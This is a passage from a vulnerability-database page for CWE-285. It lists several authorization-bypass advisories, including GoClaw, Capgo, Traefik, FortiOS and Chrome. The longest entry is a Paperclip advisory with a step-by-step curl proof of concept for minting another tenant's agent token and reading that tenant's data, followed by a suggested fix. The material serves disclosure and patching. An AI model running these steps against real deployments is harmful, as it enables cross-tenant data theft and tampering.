CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2329 vulnerabilities reference this CWE, most recent first.
GHSA-46QV-77XG-7VJ5
Vulnerability from github – Published: 2026-07-05 06:30 – Updated: 2026-07-05 06:30A security vulnerability has been detected in nextlevelbuilder GoClaw up to 3.13.0-beta.2. Impacted is the function MethodRouter.Handle of the file internal/gateway/router.go of the component WebSocket RPC Handler. Such manipulation leads to incorrect authorization. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report.
{
"affected": [],
"aliases": [
"CVE-2026-14716"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-05T06:16:31Z",
"severity": "LOW"
},
"details": "A security vulnerability has been detected in nextlevelbuilder GoClaw up to 3.13.0-beta.2. Impacted is the function MethodRouter.Handle of the file internal/gateway/router.go of the component WebSocket RPC Handler. Such manipulation leads to incorrect authorization. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report.",
"id": "GHSA-46qv-77xg-7vj5",
"modified": "2026-07-05T06:30:27Z",
"published": "2026-07-05T06:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14716"
},
{
"type": "WEB",
"url": "https://github.com/nextlevelbuilder/goclaw/issues/1188"
},
{
"type": "WEB",
"url": "https://github.com/nextlevelbuilder/goclaw"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-14716"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/847501"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376305"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376305/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-46RC-2XQJ-534F
Vulnerability from github – Published: 2026-07-08 15:32 – Updated: 2026-07-08 15:32Capgo before 12.128.2 contains a broken access control vulnerability in the organization management API where a scoped API key (limited_to_orgs) inherits its owner-user's permissions, allowing destructive cross-organization actions. When a user is an admin in two organizations and creates a write-mode API key restricted to one organization, that key can still perform destructive operations (e.g., DELETE /organization, DELETE /organization/members) against another organization. The root cause is route-level authorization (rbac_check_permission_direct) that evaluates the key owner's user privileges before enforcing the API key's limited_to_orgs scope.
{
"affected": [],
"aliases": [
"CVE-2026-56246"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-08T14:17:15Z",
"severity": "HIGH"
},
"details": "Capgo before 12.128.2 contains a broken access control vulnerability in the organization management API where a scoped API key (limited_to_orgs) inherits its owner-user\u0027s permissions, allowing destructive cross-organization actions. When a user is an admin in two organizations and creates a write-mode API key restricted to one organization, that key can still perform destructive operations (e.g., DELETE /organization, DELETE /organization/members) against another organization. The root cause is route-level authorization (rbac_check_permission_direct) that evaluates the key owner\u0027s user privileges before enforcing the API key\u0027s limited_to_orgs scope.",
"id": "GHSA-46rc-2xqj-534f",
"modified": "2026-07-08T15:32:00Z",
"published": "2026-07-08T15:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-ccm4-hf72-p28m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56246"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/capgo-cross-organization-authorization-bypass-via-scoped-api-key-privilege-inheritance"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-46WH-3698-F2CX
Vulnerability from github – Published: 2026-03-29 15:37 – Updated: 2026-03-29 15:37Summary
There is a potential vulnerability in Traefik due to its dependency on an affected version of gRPC-Go (CVE-2026-33186).
A remote, unauthenticated attacker can send gRPC requests with a malformed HTTP/2 :path pseudo-header omitting the mandatory leading slash (e.g., Service/Method instead of /Service/Method). While the server routes such requests correctly, path-based authorization interceptors evaluate the raw non-canonical path and fail to match "deny" rules, allowing the request to bypass the policy entirely if a fallback "allow" rule is present.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.42
- https://github.com/traefik/traefik/releases/tag/v3.6.12
- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description ### Summary This CVE hits traefik until Version 3.6.11 and 2.11.41. gRPC-Go has an authorization bypass via missing leading slash in :path ### Details As described in https://github.com/advisories/GHSA-p77j-4mvh-x3m3 ### PoC Update library version in https://github.com/traefik/traefik/blob/67c64ed9b25fbb90f1086977a62827133a7aa01b/go.mod#L108 ### Impact Is described in https://github.com/advisories/GHSA-p77j-4mvh-x3m3{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.42"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta3"
},
{
"fixed": "3.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.0-ea.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1395",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-29T15:37:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a potential vulnerability in Traefik due to its dependency on an affected version of gRPC-Go (CVE-2026-33186).\n\nA remote, unauthenticated attacker can send gRPC requests with a malformed HTTP/2 `:path` pseudo-header omitting the mandatory leading slash (e.g., `Service/Method` instead of `/Service/Method`). While the server routes such requests correctly, path-based authorization interceptors evaluate the raw non-canonical path and fail to match \"deny\" rules, allowing the request to bypass the policy entirely if a fallback \"allow\" rule is present.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.42\n- https://github.com/traefik/traefik/releases/tag/v3.6.12\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nThis CVE hits traefik until Version 3.6.11 and 2.11.41.\ngRPC-Go has an authorization bypass via missing leading slash in :path\n### Details\nAs described in https://github.com/advisories/GHSA-p77j-4mvh-x3m3\n### PoC\nUpdate library version in \nhttps://github.com/traefik/traefik/blob/67c64ed9b25fbb90f1086977a62827133a7aa01b/go.mod#L108\n### Impact\nIs described in https://github.com/advisories/GHSA-p77j-4mvh-x3m3\n\n\u003c/details\u003e\n\n\n----------",
"id": "GHSA-46wh-3698-f2cx",
"modified": "2026-03-29T15:37:29Z",
"published": "2026-03-29T15:37:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-46wh-3698-f2cx"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-p77j-4mvh-x3m3"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/blob/67c64ed9b25fbb90f1086977a62827133a7aa01b/go.mod#L108"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.42"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.12"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: Deny Rule Bypass via Unauthenticated Malicious gRPC Requests in gRPC-Go Dependency (CVE-2026-33186)"
}
GHSA-472F-GMR6-VGPF
Vulnerability from github – Published: 2023-10-10 18:31 – Updated: 2024-04-04 08:30An improper authorization vulnerability in Fortinet FortiOS 7.0.0 - 7.0.11 and 7.2.0 - 7.2.4 allows an attacker belonging to the prof-admin profile to perform elevated actions.
{
"affected": [],
"aliases": [
"CVE-2023-41841"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-10T17:15:12Z",
"severity": "HIGH"
},
"details": "An improper authorization vulnerability in Fortinet FortiOS 7.0.0 - 7.0.11 and 7.2.0 - 7.2.4 allows an attacker belonging to the prof-admin profile to perform elevated actions.",
"id": "GHSA-472f-gmr6-vgpf",
"modified": "2024-04-04T08:30:27Z",
"published": "2023-10-10T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41841"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-318"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4738-QHXM-3P4Q
Vulnerability from github – Published: 2023-12-05 00:31 – Updated: 2023-12-05 00:31Information disclosure in SMU in Hitachi Vantara HNAS 14.8.7825.01 on Windows allows authenticated users to download sensitive files via Insecure Direct Object Reference (IDOR).
{
"affected": [],
"aliases": [
"CVE-2023-5808"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-05T00:15:09Z",
"severity": "HIGH"
},
"details": "Information disclosure in SMU in Hitachi Vantara HNAS 14.8.7825.01 on Windows allows authenticated users to download sensitive files via Insecure Direct Object Reference (IDOR).\n",
"id": "GHSA-4738-qhxm-3p4q",
"modified": "2023-12-05T00:31:08Z",
"published": "2023-12-05T00:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5808"
},
{
"type": "WEB",
"url": "https://knowledge.hitachivantara.com/Security/System_Management_Unit_(SMU)_versions_prior_to_14.8.7825.01%2C_used_to_manage_Hitachi_Vantara_NAS_products_are_susceptible_to_unintended_information_disclosure_via_unprivileged_access_to_HNAS_configuration_backup_and_diagnostic_data"
},
{
"type": "WEB",
"url": "https://knowledge.hitachivantara.com/Security/System_Management_Unit_(SMU)_versions_prior_to_14.8.7825.01%2C_used_to_manage_Hitachi_Vantara_NAS_products_are_susceptible_to_unintended_information_disclosure_via_unprivileged_access_to_HNAS_configuration_backup_and_diagnostic_data."
},
{
"type": "WEB",
"url": "https://support.hitachivantara.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-476Q-G2RV-2698
Vulnerability from github – Published: 2025-11-10 21:30 – Updated: 2025-11-10 21:30Incorrect security UI in Omnibox in Google Chrome on Android prior to 142.0.7444.59 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2025-12435"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-10T20:15:38Z",
"severity": "MODERATE"
},
"details": "Incorrect security UI in Omnibox in Google Chrome on Android prior to 142.0.7444.59 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-476q-g2rv-2698",
"modified": "2025-11-10T21:30:35Z",
"published": "2025-11-10T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12435"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/446463993"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-47WQ-CJ9Q-WPMP
Vulnerability from github – Published: 2026-04-16 22:48 – Updated: 2026-04-16 22:48Isolated paperclip instance running in authenticated mode (default config) on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post the 2026.410.0 patch). This advisory was verified on an unmodified build.
Summary
POST /api/agents/:id/keys, GET /api/agents/:id/keys, and
DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts
lines 2050-2087) only call assertBoard to authorize the caller. They never
call assertCompanyAccess and never verify that the caller is a member of the
company that owns the target agent.
Any authenticated board user (including a freshly signed-up account with zero
company memberships and no instance_admin role) can mint a plaintext
pcp_* agent API token for any agent in any company on the instance. The
minted token is bound to the victim agent's companyId server-side, so
every downstream assertCompanyAccess check on that token authorizes
operations inside the victim tenant.
This is a pure authorization bypass on the core tenancy boundary. It is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in 2026.410.0): that advisory fixed one handler, this report is a different handler with the same class of mistake that the 2026.410.0 patch did not cover.
Root Cause
server/src/routes/agents.ts, lines 2050-2087:
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const key = await svc.createApiKey(id, req.body.name);
...
res.status(201).json(key); // returns plaintext `token`
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const keyId = req.params.keyId as string;
const revoked = await svc.revokeKey(keyId);
...
});
Compare the handler 12 lines below, router.post("/agents/:id/wakeup"),
which shows the correct pattern: it fetches the agent, then calls
assertCompanyAccess(req, agent.companyId). The three /keys handlers above
do not even fetch the agent.
The token returned by POST /agents/:id/keys is bound to the victim
company in server/src/services/agents.ts, lines 580-609:
createApiKey: async (id: string, name: string) => {
const existing = await getById(id); // victim agent
...
const token = createToken();
const keyHash = hashToken(token);
const created = await db
.insert(agentApiKeys)
.values({
agentId: id,
companyId: existing.companyId, // <-- victim tenant
name,
keyHash,
})
.returning()
.then((rows) => rows[0]);
return {
id: created.id,
name: created.name,
token, // <-- plaintext returned
createdAt: created.createdAt,
};
},
actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer
token to actor = { type: "agent", companyId: existing.companyId }, so every
subsequent assertCompanyAccess(req, victim.companyId) check passes.
The exact same assertBoard-only pattern is also present on agent lifecycle
handlers in the same file (POST /agents/:id/pause, /resume, /terminate,
and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can
terminate, delete, or silently pause any agent in any company with the same
primitive.
Trigger Conditions
- Paperclip running in
authenticatedmode (the public, multi-user configuration —PAPERCLIP_DEPLOYMENT_MODE=authenticated). PAPERCLIP_AUTH_DISABLE_SIGN_UPunset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7).- At least one other company exists on the instance with at least one agent. In practice this is the normal state of any production paperclip deployment. The attacker needs the victim agent's ID, which leaks through activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that the 2026.410.0 disclosure also flagged as under-protected.
No admin role, no invite, no email verification, no CSRF dance. The attacker is an authenticated browser-session user with zero company memberships.
PoC
Verified against a freshly built ghcr.io/paperclipai/paperclip:latest
container at commit b649bd4 (2026.411.0-canary.8, which is post the
2026.410.0 import-bypass patch). Full 5-step reproduction:
Step 1-2: Mallory signs up via the default
/api/auth/sign-up/emailflow (no invite, no verification) and confirms viaGET /api/companiesthat she is a member of zero companies. She has no tenant access through the normal authorization path.
# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
-H 'Content-Type: application/json' \
-d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.
# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []
Step 3 — the vulnerability. Mallory POSTs to
/api/agents/:id/keystargeting an agent in Victim Corp (a company she is NOT a member of). The server returns a plaintextpcp_*token tied to the victim'scompanyId. There is no authorization error.assertBoardpassed because Mallory is a board user;assertCompanyAccesswas never called.
# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
-H "Cookie: $MALLORY_SESSION" \
-H "Origin: http://<target>:3102" \
-H "Content-Type: application/json" \
-d '{"name":"pwnkit"}' \
http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }
Step 4-5: Use the stolen token as a Bearer credential.
actorMiddlewareresolves it toactor = { type: "agent", companyId: VICTIM }, so every downstreamassertCompanyAccessgate authorizes reads against Victim Corp. Mallory can now enumerate the victim's company metadata, issues, approvals, and agent configuration — none of which she had access to 30 seconds ago.
# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }
Observed outputs (all verified on live instance at time of submission):
POST /api/agents/:id/keys→ 201 with plaintexttokenbound to the victim'scompanyIdGET /api/companies/:victimId→ 200 full company metadataGET /api/companies/:victimId/issues→ 200 issue listGET /api/companies/:victimId/agents→ 200 agent listGET /api/companies/:victimId/approvals→ 200 approval list
Impact
- Type: Broken access control / cross-tenant IDOR (CWE-285, CWE-639, CWE-862, CWE-1220)
- Who is impacted: every paperclip instance running in
authenticatedmode with defaultPAPERCLIP_AUTH_DISABLE_SIGN_UP(open signup). That is the documented multi-user configuration and the default indocker/docker-compose.quickstart.yml. - Confidentiality: HIGH. Any signed-up user can read another tenant's company metadata, issues, approvals, runs, and agent configuration (which includes adapter URLs, model settings, and references to stored secret bindings).
- Integrity: HIGH. The minted token is a persistent agent credential
that authenticates for every
assertCompanyAccess-gated agent-scoped mutation in the victim tenant (issue/run updates, self-wakeup with attacker-controlled payloads, adapter execution via the agent's own adapter, etc.). - Availability: HIGH. The attacker can
pause,terminate, orDELETEany agent in any company via the siblingassertBoard-only handlers (/agents/:id/pause,/resume,/terminate,DELETE /agents/:id). - Relation to GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added
assertInstanceAdminonPOST /companies/importand closed the disclosed chain, but the same root cause (assertBoardtreated as sufficient whereassertCompanyAccessis required on a cross-tenant resource, or whereassertInstanceAdminis required on an instance-global resource) is present in multiple other handlers. The import fix did not audit sibling routes. This report is an instance of that same class the prior advisory did not cover.
Severity is driven by the fact that every precondition is default, the bug is reachable by any signed-up user with zero memberships, and the stolen token persists across sessions until manually revoked.
Suggested Fix
In server/src/routes/agents.ts, replace each of the three /keys handlers
so they load the target agent first and enforce company access:
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const key = await svc.createApiKey(id, req.body.name);
...
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req);
const keyId = req.params.keyId as string;
// Look up the key to find its agentId/companyId, then:
const key = await svc.getKeyById(keyId);
if (!key) { res.status(404).json({ error: "Key not found" }); return; }
assertCompanyAccess(req, key.companyId);
await svc.revokeKey(keyId);
res.json({ ok: true });
});
While fixing this, audit the sibling lifecycle handlers at lines 1962-2048
(/agents/:id/pause, /resume, /terminate, DELETE /agents/:id) which
share the same bug.
Defense in depth: consider a code-wide sweep for assertBoard(req) calls
that are not immediately followed by assertCompanyAccess or
assertInstanceAdmin — the 2026.410.0 patch focused on one handler but the
pattern is systemic.
Patch Status
- Latest image at time of writing:
ghcr.io/paperclipai/paperclip:latestdigestsha256:baa9926e..., commitb649bd4(canary/v2026.411.0-canary.8), which is after the 2026.410.0 import bypass fix. - The bug is still present on that revision. PoC reproduced end-to-end against an unmodified container.
Credits
Discovered by pwnkit, an AI-assisted security scanner, during variant-hunt analysis of GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip instance.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.416.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1220",
"CWE-285",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:48:32Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "\u003cimg width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" /\u003e\n\n\u003e Isolated paperclip instance running in authenticated mode (default config)\n\u003e on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n\u003e the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent\u0027s `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import \u2192 RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n assertBoard(req); // \u003c-- no assertCompanyAccess\n const id = req.params.id as string;\n const keys = await svc.listKeys(id);\n res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n assertBoard(req); // \u003c-- no assertCompanyAccess\n const id = req.params.id as string;\n const key = await svc.createApiKey(id, req.body.name);\n ...\n res.status(201).json(key); // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n assertBoard(req); // \u003c-- no assertCompanyAccess\n const keyId = req.params.keyId as string;\n const revoked = await svc.revokeKey(keyId);\n ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) =\u003e {\n const existing = await getById(id); // victim agent\n ...\n const token = createToken();\n const keyHash = hashToken(token);\n const created = await db\n .insert(agentApiKeys)\n .values({\n agentId: id,\n companyId: existing.companyId, // \u003c-- victim tenant\n name,\n keyHash,\n })\n .returning()\n .then((rows) =\u003e rows[0]);\n\n return {\n id: created.id,\n name: created.name,\n token, // \u003c-- plaintext returned\n createdAt: created.createdAt,\n };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n configuration \u2014 `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default \u2014 same\n default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n agent. In practice this is the normal state of any production paperclip\n deployment. The attacker needs the victim agent\u0027s ID, which leaks through\n activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n\u003cimg width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" /\u003e\n\u003e Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n\u003e (no invite, no verification) and confirms via `GET /api/companies` that she\n\u003e is a member of zero companies. She has no tenant access through the normal\n\u003e authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://\u003ctarget\u003e:3102/api/auth/sign-up/email \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}\u0027\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://\u003ctarget\u003e:3102/api/companies\n# -\u003e []\n```\n\n\u003cimg width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" /\u003e\n\u003e Step 3 \u2014 the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n\u003e targeting an agent in Victim Corp (a company she is NOT a member of). The\n\u003e server returns a plaintext `pcp_*` token tied to the victim\u0027s `companyId`.\n\u003e There is no authorization error. `assertBoard` passed because Mallory is a\n\u003e board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=\u003cany-agent-id-in-another-company\u003e\ncurl -s -X POST \\\n -H \"Cookie: $MALLORY_SESSION\" \\\n -H \"Origin: http://\u003ctarget\u003e:3102\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"pwnkit\"}\u0027 \\\n http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT/keys\n# -\u003e 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n\u003cimg width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" /\u003e\n\u003e Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n\u003e resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n\u003e downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n\u003e Mallory can now enumerate the victim\u0027s company metadata, issues, approvals,\n\u003e and agent configuration \u2014 none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company 